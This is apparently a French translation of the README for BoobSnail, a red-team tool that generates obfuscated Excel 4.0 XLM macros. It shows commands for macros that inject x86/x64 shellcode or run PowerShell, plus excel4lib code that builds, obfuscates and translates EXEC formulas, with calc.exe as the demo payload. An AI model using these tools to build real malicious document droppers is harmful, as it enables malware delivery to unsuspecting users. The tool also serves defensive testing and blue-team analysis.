
Générer des macros Excel 4.0 XLM obfusquées pour les opérations de red team et l'analyse de blue team, avec prise en charge de multiples techniques d'infection, la traduction de formules et des générateurs personnalisés basés sur une bibliothèque.
Suivez-nous sur Twitter!
BoobSnail permet de générer des macros XLM (Excel 4.0). Son but est de soutenir les RedTeam et BlueTeam dans la génération de macros XLM. Fonctionnalités :
Testé sur : Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Pour afficher les générateurs disponibles, tapez :
python boobsnail.py
Générer une macro obfusquée qui injecte un shellcode x64 ou x86 :
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
Générer une macro obfusquée qui exécute calc.exe :
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail partage la bibliothèque excel4lib qui permet de créer votre propre générateur de macros Excel4. excel4lib contient quelques classes qui peuvent être utilisées lors de l'écriture d'un générateur :
L'idée principale de cette bibliothèque est de représenter les formules Excel4, les variables, les arguments de formules et les valeurs comme des objets Python. Grâce à cela, vous pouvez modifier facilement les attributs des instructions tels que les noms de formules ou de variables, les valeurs, les adresses, etc. Par exemple, créons une macro simple qui exécute calc.exe
from excel4lib.macro import *
# Créer un objet macro
macro = Excel4Macro("test.csv")
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())
Résultat :
cmd="calc.exe";
=EXEC(cmd);
Supposons maintenant que vous souhaitiez obfusquer votre macro. Pour ce faire, il vous suffit d'importer l'obfusqueur et de le passer à l'objet Excel4Macro :
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Créer un objet macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())
Pour l'instant, excel4lib fournit deux classes d'obfuscation :
Comme vous pouvez le voir, vous pouvez écrire votre propre classe d'obfusqueur et l'utiliser dans Excel4Macro.
Parfois, vous aurez besoin de traduire votre macro dans une autre langue, par exemple votre langue maternelle, dans mon cas c'est le polonais. Avec excel4lib, c'est assez facile. Il vous suffit d'importer la classe Excel4Translator et d'appeler set_language
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Changer la langue
Excel4Translator.set_language("pl_PL")
# Créer un objet macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())
Résultat :
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
Pour l'instant, seules les langues anglaise et polonaise sont prises en charge. Si vous souhaitez utiliser une autre langue, vous devez ajouter des traductions dans le répertoire excel4lib/lang/langs.
Bien sûr, vous aurez besoin de créer une formule qui prend une autre formule comme argument. Vous pouvez le faire en utilisant la fonction Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Ajouter une variable appelée cmd avec la valeur "calc" à la feuille de calcul
cmd_1 = macro.variable("cmd", "calc")
# Ajouter une cellule contenant .exe comme valeur
cmd_2 = macro.value(".exe")
# Créer une formule CONCATENATE qui CONCATENE cmd_1 et cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passer l'appel CONCATENATE comme argument à la formule EXEC
macro.formula("EXEC", exec_arg)
# Déverser en CSV
print(macro.to_csv())
Résultat :
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Comme vous pouvez le voir, la chaîne ".exe" a été passée à la formule CONCATENATE comme R2C1. R2C1 est l'adresse de la valeur ".exe" (numéro de LIGNE 2 et numéro de COLONNE 1). excel4lib renvoie les références aux formules et aux valeurs sous forme d'adresses. Les références aux variables sont renvoyées sous leurs noms. Vous avez probablement remarqué que la classe Excel4Macro ajoute automatiquement les formules, variables et valeurs à la feuille de calcul dans l'ordre de création de ces objets et que l'adresse de départ est R1C1. Que faire si vous voulez placer des formules dans une autre colonne ou ligne ? Vous pouvez le faire en appelant la fonction Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Colonne 1
# Ajouter une variable appelée cmd avec la valeur "calc" à la feuille de calcul
cmd_1 = macro.variable("cmd", "calc")
# Ajouter une cellule contenant .exe comme valeur
cmd_2 = macro.value(".exe")
# Colonne 2
# Changer les coordonnées à la colonne 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passer l'appel CONCATENATE comme argument à la formule EXEC
exec_call = macro.formula("EXEC", exec_arg)
# Colonne 1
# Revenir à la colonne 1. Changer les coordonnées à la colonne 1 et ligne 3
macro.set_cords(1,3)
# GOTO vers l'appel EXEC
macro.goto(exec_call)
# Déverser en CSV
print(macro.to_csv())
Résultat :
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;